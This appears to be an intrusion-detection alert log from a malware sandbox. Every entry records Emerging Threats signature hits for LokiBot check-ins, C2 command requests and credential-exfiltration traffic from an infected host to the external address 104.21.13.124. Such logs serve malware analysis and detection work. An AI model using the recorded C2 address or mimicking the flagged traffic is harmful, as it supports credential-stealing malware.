04/03/24-06:38:49.062804 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49845 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:34.610079 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49751 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:42.416972 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49836 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:34.610079 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49751 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:30.670976 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49822 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:09.042243 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49794 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:55.796602 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49778 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:23.522239 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49812 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:51.243601 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49772 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:00.331066 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49784 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:58.122430 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49781 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:56.921190 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49856 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:48.477935 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49767 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:00.331066 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49784 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:39.958519 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49758 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:50.546988 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49770 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:25.036535 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49814 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:17.269664 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49805 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:34.982502 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49828 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:09.892413 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49795 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:49.855566 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49769 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:23.522239 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49812 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:44.645218 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49839 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:45.335995 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49840 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:01.844436 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49786 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:36.151380 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49753 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:24.205256 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49813 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:55.534565 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49854 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:01.015339 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49785 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:46.856471 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49842 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:28.952090 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49744 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:38.419517 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49833 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:14.340654 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49801 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:20.198908 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49809 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:28.125041 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49743 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:51.243601 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49772 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:59.640455 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49783 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:51.126318 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49848 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:25.764699 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49742 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:24.205256 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49813 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:25.764699 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49742 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:55.534565 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49854 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:59.640455 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49783 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:18.685116 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49807 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:24.221116 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49740 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:46.022620 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49841 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:56.219175 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49855 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:37.702889 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49755 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:46.022620 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49841 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:32.210551 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49824 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:25.030663 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49741 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:25.719182 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49815 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:11.400710 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49797 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:35.672062 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49829 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:31.366751 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49823 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:03.254673 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49788 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:35.672062 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49829 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:43.957176 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49838 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:33.600213 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49826 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:43.957176 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49838 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:37.702889 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49755 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:47.687505 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49843 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:49.163901 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49768 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:14.340654 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49801 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:36.850228 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49754 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:53.324729 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49851 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:43.265047 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49837 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:20.890742 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49810 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:46.856471 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49842 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:44.645218 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49839 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:58.810149 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49782 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:49.855566 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49769 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:38.407237 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49756 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:11.400710 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49797 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:49.163901 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49768 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:59.640455 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49783 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:51.243601 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49772 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:18.685116 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49807 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:47.778229 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49766 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:51.243601 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49772 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:54.842169 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49853 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:51.813478 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49849 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:05.938500 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49790 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:12.911562 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49799 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:40.106892 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49835 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:05.938500 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49790 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:29.987306 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49821 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:51.813478 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49849 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:15.873778 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49803 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:24.221116 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49740 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:46.959263 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49765 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:55.534565 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49854 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:51.947017 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49773 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:09.042243 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49794 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:58.810149 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49782 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:55.108965 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49777 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:58.810149 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49782 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:20.890742 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49810 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:34.282252 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49827 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:32.267354 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49748 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:54.423488 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49776 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:33.791207 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49750 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:36.850228 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49754 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:55.108965 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49777 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:36.850228 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49754 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:06.650555 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49791 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:33.791207 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49750 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:37.702889 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49755 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:24.205256 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49813 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:49.062804 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49845 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:37.043826 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49831 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:48.379699 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49844 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:46.022620 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49841 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:41.484457 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49760 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:09.892413 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49795 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:48.477935 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49767 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:09.892413 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49795 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:23.522239 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49812 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:43.265047 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49837 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:43.987496 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49763 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:06.650555 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49791 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:45.205065 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49764 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:48.477935 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49767 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:33.600213 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49826 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:45.205065 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49764 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:33.600213 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49826 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:58.122430 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49781 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:56.219175 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49855 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:43.152524 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49762 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:27.224947 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49817 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:49.163901 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49768 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:43.152524 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49762 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:21.763703 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49811 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:32.914570 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49825 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:44.645218 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49839 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:44.645218 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49839 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:56.609631 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49779 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:07.360242 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49792 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:26.534492 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49816 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:07.360242 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49792 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:13.658001 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49800 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:45.335995 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49840 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:08.198877 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49793 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:35.672062 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49829 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:35.452745 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49752 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:36.151380 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49753 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:45.335995 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49840 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:42.314099 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49761 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:01.844436 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49786 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:57.435447 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49780 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:27.904801 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49818 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:53.598973 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49775 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:17.972593 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49806 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:53.598973 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49775 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:52.638175 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49850 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:43.987496 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49763 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:32.210551 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49824 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:27.904801 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49818 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:33.093731 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49749 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:39.122189 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49757 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:54.009985 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49852 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:25.030663 | TCP | 2024312 | ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 | 49741 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:28.125041 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49743 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:36.358340 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49830 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:37.732709 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49832 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:39.122189 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49757 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:49.163901 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49768 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:10.724952 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49796 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:36.358340 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49830 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:25.030663 | TCP | 2024317 | ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 | 49741 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:10.724952 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49796 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:15.179954 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49802 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:19.372255 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49808 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:31.437871 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49747 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:28.593679 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49819 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:19.372255 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49808 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:42.416972 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49836 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:43.957176 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49838 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:31.437871 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49747 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:42.416972 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49836 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:30.670976 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49822 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:15.179954 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49802 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:16.574818 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49804 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:50.437190 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49847 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:29.787077 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49745 | 80 | 192.168.2.4 | 104.21.13.124 |
